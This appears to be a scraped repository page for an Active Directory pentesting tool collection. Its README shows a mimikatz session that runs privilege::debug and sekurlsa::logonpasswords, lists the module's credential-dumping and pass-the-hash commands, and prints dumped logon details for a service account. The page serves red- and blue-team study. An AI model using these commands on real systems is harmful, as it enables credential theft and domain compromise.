View Code? Open in Web Editor NEW

A Collection of Active Directory Administrations and Pentesting Tools.

PowerShell 88.95% Python 2.52% C++ 2.84% C 0.48% Shell 0.02% HTML 0.07% JavaScript 4.85% CSS 0.20% Assembly 0.05% YARA 0.02%

adtools's Introduction

ADTools [RedTeamers]

Active Directory Attacking & Defending Tools..!!

For Red and Blue Teamers.

PS C:\AD\x64> .\mimikatz.exe


  .#####.   mimikatz 2.2.0 (x64) #18362 Jul 20 2019 22:57:37
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpassword
ERROR mimikatz_doLocal ; "logonpassword" command of "sekurlsa" module not found !

Module :        sekurlsa
Full name :     SekurLSA module
Description :   Some commands to enumerate credentials...

             msv  -  Lists LM & NTLM credentials
         wdigest  -  Lists WDigest credentials
        kerberos  -  Lists Kerberos credentials
           tspkg  -  Lists TsPkg credentials
         livessp  -  Lists LiveSSP credentials
             ssp  -  Lists SSP credentials
  logonPasswords  -  Lists all available providers credentials
         process  -  Switch (or reinit) to LSASS process  context
        minidump  -  Switch (or reinit) to LSASS minidump context
             pth  -  Pass-the-hash
          krbtgt  -  krbtgt!
     dpapisystem  -  DPAPI_SYSTEM secret
           trust  -  Antisocial
      backupkeys  -  Preferred Backup Master keys
         tickets  -  List Kerberos tickets
           ekeys  -  List Kerberos Encryption Keys
           dpapi  -  List Cached MasterKeys
         credman  -  List Credentials Manager
         


mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 4086696 (00000000:003e5ba8)
Session           : Service from 0
User Name         : MSSQL$SQLEXPRESS
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 8/3/2019 3:53:44 AM
SID               : S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133

Recommend Projects